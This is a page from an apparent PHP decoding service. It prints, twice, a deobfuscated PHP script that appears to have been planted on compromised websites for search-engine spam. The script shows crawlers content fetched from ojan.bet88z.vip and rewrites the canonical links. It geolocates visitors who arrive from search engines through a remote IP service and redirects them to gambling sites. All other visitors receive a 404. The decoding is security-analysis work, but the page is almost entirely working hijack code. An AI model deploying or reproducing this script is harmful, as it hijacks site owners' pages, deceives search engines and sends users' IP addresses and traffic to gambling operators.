Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // Get user agent and request URI $C30Gw = isset($_SERVER["HTTP_USER_AGENT"]) ? ..
Decoded Output download
<?php
// Get user agent and request URI
$C30Gw = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "";
$c13dz = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "";
// Remove "/index.php?" from request URI
$c13dz = str_replace("/index.php?", "/", $c13dz);
// Get HTTP host and remote address
$Umpj3 = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : "";
$AlO_3 = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "";
// Get HTTP referer
$tysCL = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
// Load XML file "sitemap-custom-001.xml"
$uinKg = simplexml_load_file('sitemap-custom-001.xml');
// Get request URI again
$vdOPS = $_SERVER['REQUEST_URI'];
// Build URLs for different purposes
$jmgzb = "https://ojan.bet88z.vip/" . str_replace("/tin-tuc", "", $vdOPS) . "?host=" . $Umpj3;
$dLs2t = "https://ojan.bet88z.vip/sitemap.php";
$zisOm = "https://id.zktech.dev/ipinfo.php";
$GmUVY = "tin-tuc";
// Function to check if the request comes from a search engine
function ArZSe($tysCL)
{
$UjJFA = parse_url($tysCL, PHP_URL_HOST);
if (!empty($UjJFA)) {
goto g0NnG;
}
return false;
g0NnG:
$Kx85f = array("google", "bing", "yahoo", "baidu", "yandex", "duckduckgo");
foreach ($Kx85f as $hV3RE) {
if (!(strpos($UjJFA, $hV3RE) !== false)) {
goto iC5sd;
}
return true;
iC5sd:
qQGrA:
}
g_h4U:
return false;
}
// Function to check if the user agent belongs to specific bots
function t7nu6($C30Gw)
{
$ta4bF = array("Googlebot", "bingbot", "Slurp", "Yahoo! Slurp", "facebookexternalhit");
foreach ($ta4bF as $boVIj) {
if (!(strpos($C30Gw, $boVIj) !== false)) {
goto vfUfK;
}
return true;
vfUfK:
to8BI:
}
r2Jab:
return false;
}
// Function to check if the connection is using HTTPS
function f8GiT()
{
if (!empty($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
goto DzJze;
}
if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
goto IaBCm;
}
if (!empty($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
goto xCyWf;
}
goto h8nF7;
DzJze:
return true;
goto h8nF7;
IaBCm:
return true;
goto h8nF7;
xCyWf:
return true;
h8nF7:
return false;
}
// Function to get the client's IP address considering proxies
function VjT36()
{
if (!(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR']))) {
goto eJH5i;
}
$UXR9h = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim(end($UXR9h));
eJH5i:
if (!(isset($_SERVER['HTTP_CLIENT_IP']) && !empty($_SERVER['HTTP_CLIENT_IP']))) {
goto M3W_o;
}
return $_SERVER['HTTP_CLIENT_IP'];
M3W_o:
return $_SERVER['REMOTE_ADDR'];
}
// Function to retrieve information from a remote server based on the client's IP address
function XvkCU($b4O5K)
{
$By4pB = VJT36();
$k3136 = file_get_contents($b4O5K . "?ip=" . $By4pB);
return $k3136;
}
// Function to send an HTTP POST request to a given URL with specified parameters
function PCHvu($CU8Td, $S70CL)
{
$by9Oj = http_build_query($S70CL);
$JX3QK = ["http" => ["method" => "POST", "header" => "Content-type:application/x-www-form-urlencoded", "content" => $by9Oj, "timeout" => 15 * 60]];
$c23KH = stream_context_create($JX3QK);
$jMfuY = @file_get_contents($CU8Td, false, $c23KH);
return $jMfuY;
}
// Function to check if the sitemap file exists and create it if not
function JYl1_()
{
$pSFNf = "sitemap-custom-001.xml";
if (file_exists($pSFNf)) {
goto EubnV;
}
$uinKg = fopen($pSFNf, "w+") or die("Unable to create sitemap.xml");
$sz86v = "<?xml version='1.0' encoding='UTF-8'?>
<urlset xmlns='http://www.sitemaps.org/schemas/sitemap/0.9'>
</urlset>";
fwrite($uinKg, $sz86v);
fclose($uinKg);
return true;
EubnV:
return true;
}
// Function to generate and output a custom sitemap XML file based on specific conditions
function Q0wOy($uinKg, $vdOPS, $Umpj3, $GmUVY)
{
if (F8GIT()) {
goto wTYHU;
}
$lGTKR = "http";
goto caQPm;
wTYHU:
$lGTKR = "https";
caQPm:
if (strpos($vdOPS, "sitemap-custom-001")) {
goto XRSio;
}
$jS33k = file_get_contents($uinKg . '?map=' . $vdOPS . "&path=" . $GmUVY . "&host=" . $Umpj3 . "&protocol=" . $lGTKR);
goto KC0N0;
XRSio:
$jS33k = file_get_contents("sitemap-custom-001.xml");
KC0N0:
header("Content-Type: text/xml");
echo $jS33k;
exit;
}
// Function to perform certain actions based on the client's location and user agent
function mhXdp($zisOm, $jmgzb, $tysCL, $C30Gw, $uinKg, $vdOPS, $AlO_3, $Umpj3, $c13dz, $dz1bw = "")
{
if (ArZsE($tysCL) !== false) {
goto MkVir;
}
if (T7Nu6($C30Gw)) {
goto axan8;
}
header("HTTP/1.0 404 Not Found");
exit;
goto ABtFe;
axan8:
if (!jyL1_()) {
goto rAm73;
}
$a2lmI = false;
foreach ($uinKg->url as $CU8Td) {
if (!($CU8Td->loc == $vdOPS)) {
goto gdG0g;
}
$a2lmI = true;
goto lXD4f;
gdG0g:
NshT6:
}
lXD4f:
if (f8GiT()) {
goto TLeHf;
}
$lGTKR = "http";
goto DVVl8;
TLeHf:
$lGTKR = "https";
DVVl8:
if (!(!$a2lmI && strpos($vdOPS, ".html"))) {
goto H0BE2;
}
$sdxsC = $uinKg->addChild('url');
$sdxsC->addChild('loc', $lGTKR . '://' . $Umpj3 . $vdOPS);
$uinKg->asXML('sitemap-custom-001.xml');
H0BE2:
$S70CL = ["hostName" => $Umpj3, "boturl" => $c13dz, "http" => $lGTKR, "numbergroup" => $dz1bw, "user_agent" => $C30Gw, "Remote_Address" => $AlO_3];
$aNxCq = file_get_contents($jmgzb . "&protocol=" . $lGTKR);
$B8Vb3 = pathinfo($vdOPS, PATHINFO_EXTENSION);
switch ($B8Vb3) {
case 'jpg':
header('Content-Type: image/jpeg');
goto KFqmY;
case 'png':
header('Content-Type: image/png');
goto KFqmY;
case 'css':
header('Content-Type: text/css');
goto KFqmY;
case 'js':
header('Content-Type: application/javascript');
goto KFqmY;
default:
header('Content-Type: text/html');
goto KFqmY;
}
pf29U:
KFqmY:
$vdOPS = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$TY3G2 = preg_replace('#<link rel="canonical" href="(.*?)">#', '<link rel="canonical" href="' . $vdOPS . '">', $aNxCq);
echo $TY3G2;
rAm73:
ABtFe:
goto c2VHl;
MkVir:
$k3136 = xvkCu($zisOm);
if ($k3136 == 'Vietnam') {
goto pvqGL;
}
if ($k3136 == 'Indonesia') {
goto AfduH;
}
header("Location: https://bet88098.com/id/?inviteCode=ojanseo1");
exit;
goto xuEcC;
pvqGL:
header("Location: https://sodopoker.com/url");
exit;
goto xuEcC;
AfduH:
header("Location: https://bet88098.com/id/?inviteCode=ojanseo1");
exit;
xuEcC:
c2VHl:
}
if (preg_match('/sitemap.*\.xml$/', $vdOPS)) {
goto sWlCo;
}
MhxDp($zisOm, $jmgzb, $tysCL, $C30Gw, $uinKg, $vdOPS, $AlO_3, $Umpj3, $c13dz);
goto tVc2K;
sWlCo:
Q0wOY($dLs2t, $vdOPS, $Umpj3, $GmUVY);
tVc2K:
Did this file decode correctly?
Original Code
<?php
// Get user agent and request URI
$C30Gw = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "";
$c13dz = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "";
// Remove "/index.php?" from request URI
$c13dz = str_replace("/index.php?", "/", $c13dz);
// Get HTTP host and remote address
$Umpj3 = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : "";
$AlO_3 = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "";
// Get HTTP referer
$tysCL = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
// Load XML file "sitemap-custom-001.xml"
$uinKg = simplexml_load_file('sitemap-custom-001.xml');
// Get request URI again
$vdOPS = $_SERVER['REQUEST_URI'];
// Build URLs for different purposes
$jmgzb = "https://ojan.bet88z.vip/" . str_replace("/tin-tuc", "", $vdOPS) . "?host=" . $Umpj3;
$dLs2t = "https://ojan.bet88z.vip/sitemap.php";
$zisOm = "https://id.zktech.dev/ipinfo.php";
$GmUVY = "tin-tuc";
// Function to check if the request comes from a search engine
function ArZSe($tysCL)
{
$UjJFA = parse_url($tysCL, PHP_URL_HOST);
if (!empty($UjJFA)) {
goto g0NnG;
}
return false;
g0NnG:
$Kx85f = array("google", "bing", "yahoo", "baidu", "yandex", "duckduckgo");
foreach ($Kx85f as $hV3RE) {
if (!(strpos($UjJFA, $hV3RE) !== false)) {
goto iC5sd;
}
return true;
iC5sd:
qQGrA:
}
g_h4U:
return false;
}
// Function to check if the user agent belongs to specific bots
function t7nu6($C30Gw)
{
$ta4bF = array("Googlebot", "bingbot", "Slurp", "Yahoo! Slurp", "facebookexternalhit");
foreach ($ta4bF as $boVIj) {
if (!(strpos($C30Gw, $boVIj) !== false)) {
goto vfUfK;
}
return true;
vfUfK:
to8BI:
}
r2Jab:
return false;
}
// Function to check if the connection is using HTTPS
function f8GiT()
{
if (!empty($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
goto DzJze;
}
if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
goto IaBCm;
}
if (!empty($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
goto xCyWf;
}
goto h8nF7;
DzJze:
return true;
goto h8nF7;
IaBCm:
return true;
goto h8nF7;
xCyWf:
return true;
h8nF7:
return false;
}
// Function to get the client's IP address considering proxies
function VjT36()
{
if (!(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR']))) {
goto eJH5i;
}
$UXR9h = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim(end($UXR9h));
eJH5i:
if (!(isset($_SERVER['HTTP_CLIENT_IP']) && !empty($_SERVER['HTTP_CLIENT_IP']))) {
goto M3W_o;
}
return $_SERVER['HTTP_CLIENT_IP'];
M3W_o:
return $_SERVER['REMOTE_ADDR'];
}
// Function to retrieve information from a remote server based on the client's IP address
function XvkCU($b4O5K)
{
$By4pB = VJT36();
$k3136 = file_get_contents($b4O5K . "?ip=" . $By4pB);
return $k3136;
}
// Function to send an HTTP POST request to a given URL with specified parameters
function PCHvu($CU8Td, $S70CL)
{
$by9Oj = http_build_query($S70CL);
$JX3QK = ["http" => ["method" => "POST", "header" => "Content-type:application/x-www-form-urlencoded", "content" => $by9Oj, "timeout" => 15 * 60]];
$c23KH = stream_context_create($JX3QK);
$jMfuY = @file_get_contents($CU8Td, false, $c23KH);
return $jMfuY;
}
// Function to check if the sitemap file exists and create it if not
function JYl1_()
{
$pSFNf = "sitemap-custom-001.xml";
if (file_exists($pSFNf)) {
goto EubnV;
}
$uinKg = fopen($pSFNf, "w+") or die("Unable to create sitemap.xml");
$sz86v = "<?xml version='1.0' encoding='UTF-8'?>\n<urlset xmlns='http://www.sitemaps.org/schemas/sitemap/0.9'>\n</urlset>";
fwrite($uinKg, $sz86v);
fclose($uinKg);
return true;
EubnV:
return true;
}
// Function to generate and output a custom sitemap XML file based on specific conditions
function Q0wOy($uinKg, $vdOPS, $Umpj3, $GmUVY)
{
if (F8GIT()) {
goto wTYHU;
}
$lGTKR = "http";
goto caQPm;
wTYHU:
$lGTKR = "https";
caQPm:
if (strpos($vdOPS, "sitemap-custom-001")) {
goto XRSio;
}
$jS33k = file_get_contents($uinKg . '?map=' . $vdOPS . "&path=" . $GmUVY . "&host=" . $Umpj3 . "&protocol=" . $lGTKR);
goto KC0N0;
XRSio:
$jS33k = file_get_contents("sitemap-custom-001.xml");
KC0N0:
header("Content-Type: text/xml");
echo $jS33k;
exit;
}
// Function to perform certain actions based on the client's location and user agent
function mhXdp($zisOm, $jmgzb, $tysCL, $C30Gw, $uinKg, $vdOPS, $AlO_3, $Umpj3, $c13dz, $dz1bw = "")
{
if (ArZsE($tysCL) !== false) {
goto MkVir;
}
if (T7Nu6($C30Gw)) {
goto axan8;
}
header("HTTP/1.0 404 Not Found");
exit;
goto ABtFe;
axan8:
if (!jyL1_()) {
goto rAm73;
}
$a2lmI = false;
foreach ($uinKg->url as $CU8Td) {
if (!($CU8Td->loc == $vdOPS)) {
goto gdG0g;
}
$a2lmI = true;
goto lXD4f;
gdG0g:
NshT6:
}
lXD4f:
if (f8GiT()) {
goto TLeHf;
}
$lGTKR = "http";
goto DVVl8;
TLeHf:
$lGTKR = "https";
DVVl8:
if (!(!$a2lmI && strpos($vdOPS, ".html"))) {
goto H0BE2;
}
$sdxsC = $uinKg->addChild('url');
$sdxsC->addChild('loc', $lGTKR . '://' . $Umpj3 . $vdOPS);
$uinKg->asXML('sitemap-custom-001.xml');
H0BE2:
$S70CL = ["hostName" => $Umpj3, "boturl" => $c13dz, "http" => $lGTKR, "numbergroup" => $dz1bw, "user_agent" => $C30Gw, "Remote_Address" => $AlO_3];
$aNxCq = file_get_contents($jmgzb . "&protocol=" . $lGTKR);
$B8Vb3 = pathinfo($vdOPS, PATHINFO_EXTENSION);
switch ($B8Vb3) {
case 'jpg':
header('Content-Type: image/jpeg');
goto KFqmY;
case 'png':
header('Content-Type: image/png');
goto KFqmY;
case 'css':
header('Content-Type: text/css');
goto KFqmY;
case 'js':
header('Content-Type: application/javascript');
goto KFqmY;
default:
header('Content-Type: text/html');
goto KFqmY;
}
pf29U:
KFqmY:
$vdOPS = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$TY3G2 = preg_replace('#<link rel="canonical" href="(.*?)">#', '<link rel="canonical" href="' . $vdOPS . '">', $aNxCq);
echo $TY3G2;
rAm73:
ABtFe:
goto c2VHl;
MkVir:
$k3136 = xvkCu($zisOm);
if ($k3136 == 'Vietnam') {
goto pvqGL;
}
if ($k3136 == 'Indonesia') {
goto AfduH;
}
header("Location: https://bet88098.com/id/?inviteCode=ojanseo1");
exit;
goto xuEcC;
pvqGL:
header("Location: https://sodopoker.com/url");
exit;
goto xuEcC;
AfduH:
header("Location: https://bet88098.com/id/?inviteCode=ojanseo1");
exit;
xuEcC:
c2VHl:
}
if (preg_match('/sitemap.*\\.xml$/', $vdOPS)) {
goto sWlCo;
}
MhxDp($zisOm, $jmgzb, $tysCL, $C30Gw, $uinKg, $vdOPS, $AlO_3, $Umpj3, $c13dz);
goto tVc2K;
sWlCo:
Q0wOY($dLs2t, $vdOPS, $Umpj3, $GmUVY);
tVc2K:
Function Calls
None |
Stats
MD5 | e0182ac6203546c39ef24eef8d862811 |
Eval Count | 0 |
Decode Time | 56 ms |